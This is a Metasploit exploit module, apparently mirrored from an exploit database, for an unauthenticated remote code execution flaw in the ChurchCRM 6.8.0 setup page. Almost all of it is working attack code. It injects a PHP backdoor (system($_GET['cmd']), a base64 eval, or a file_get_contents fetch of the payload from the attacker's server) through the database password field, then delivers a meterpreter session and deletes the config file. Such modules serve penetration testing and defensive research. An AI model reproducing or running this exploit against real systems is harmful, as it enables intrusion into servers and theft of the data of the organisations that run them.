Share
## https://sploitus.com/exploit?id=PACKETSTORM:215704
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::Remote::HttpServer
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'ChurchCRM Unauthenticated RCE 6.8.0',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution
              vulnerability in the installation process of ChurchCRM versions
              6.8.0 and earlier. By sending a specially crafted POST request to
              the 'setup' page, an attacker can execute arbitrary commands on the
              target server. This module uploads a meterpreter payload to the
              target server and executes it, allowing for remote code execution.
            },
            'License' => MSF_LICENSE,
            'Author' => ['LucasCsmt'],
            'References' => [
              [ 'GHSA', 'm8jq-j3p9-2xf3'],
              [ 'CVE', '2025-62521']
            ],
            'Platform' => ['linux', 'php'],
            'Targets' => [
              [
                'Linux/unix Command (CmdStager)',
                {
                  'Arch' => [ ARCH_X86, ARCH_X64 ],
                  'Platform' => ['linux'],
                  'Type' => :nix_cmdstager,
                  'DefaultOptions' => {
                    'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="rm Include/Config.php"'
                  },
                  'CmdStagerFlavor' => [
                    'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'
                  ]
                }
              ],
              [
                'PHP (In-Memory)',
                {
                  'Arch' => [ ARCH_PHP ],
                  'Platform' => ['php'],
                  'Type' => :php_memory,
                  'DefaultOptions' => {
                    'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'
                  }
                }
              ],
              [
                'PHP (fetch)',
                {
                  'Arch' => [ ARCH_PHP ],
                  'Platform' => ['php'],
                  'Type' => :php_fetch,
                  'DefaultOptions' => {
                    'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'
                  }
                }
              ],
            ],
            'DisclosureDate' => '2025-12-17',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path', '/']),
          ]
        )
      end
    
      # Check if the target is up by accessing the setup page
      def check
        print_status('Checking if the target is reachable...')
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'setup', '/')
        })
    
        unless res && (res.code == 301 || res.code == 200 || res.code == 302)
          fail_with(Failure::Unreachable, 'Target is not reachable')
          return Exploit::CheckCode::Unknown('Target setup page is inaccessible')
        end
    
        version = res.headers['CRM-VERSION']
        if version
          print_status("Found ChurchCRM version: #{version}")
          if Rex::Version.new(version) <= Rex::Version.new('6.8.0')
            return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.")
          else
            return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
          end
        end
    
        return Exploit::CheckCode::Appears
      end
    
      # Build the payload that will be into the installation form
      #
      # @return : the payload
      def build_payload
        case target['Type']
        when :php_memory
          b64_payload = Rex::Text.encode_base64(payload.encoded)
          "#{rand_text_alpha(3)}'; eval(base64_decode(\"#{b64_payload}\")); //"
        when :php_fetch
          start_service
          payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php'
          "#{rand_text_alpha(3)}'; $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); //"
        else
          "#{rand_text_alpha(3)}'; system($_GET['cmd']); //"
        end
      end
    
      # Send a POST request to the setup page in order to execute commands
      def alter_config
        print_status('Injecting backdoor into Include/Config.php via setup page...')
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'setup', '/'),
          'vars_post' => {
            'DB_SERVER_NAME' => rand_text_alpha(5..10),
            'DB_SERVER_PORT' => '3306',
            'DB_NAME' => rand_text_alpha(5..10),
            'DB_USER' => rand_text_alpha(5..8),
            'DB_PASSWORD' => build_payload,
            'ROOT_PATH' => '/',
            'URL' => "http://#{rand_text_alpha(5..10)}.com/"
          }
        })
    
        msg = 'Failed to inject backdoor into Include/Config.php. ' \
          'This can happen if the setup process has already been ' \
          'completed or if the target is not vulnerable.'
        fail_with(Failure::UnexpectedReply, msg) unless res&.code == 200
      end
    
      # Execute command on the target server
      #
      # @param cmd [String] the command to execute
      def execute_command(cmd, _opts = {})
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path),
          'vars_get' => { 'cmd' => cmd }
        })
      end
    
      # Execute PHP code on the target server in order to run the payload
      def execute_php
        print_status('Trying to execute the PHP payload')
    
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        })
    
        print_good('PHP payload successfully executed')
      end
    
      # Upload the payload to the target server
      def execute_linux
        print_status('Uploading payload to the target server...')
    
        execute_cmdstager(
          linemax: 500,
          nodelete: false,
          background: true,
          temp: '/tmp'
        )
    
        print_good('Payload uploaded successfully.')
      end
    
      # Handles the incoming HTTP request and serves the payload to the target.
      def on_request_uri(cli, _request)
        p = payload.encoded
        send_response(cli, p, {
          'Content-Type' => 'application/x-httpd-php',
          'Pragma' => 'no-cache'
        })
      end
    
      def exploit
        alter_config
    
        case target['Type']
        when :nix_cmdstager
          execute_linux
        else
          execute_php
        end
      end
    end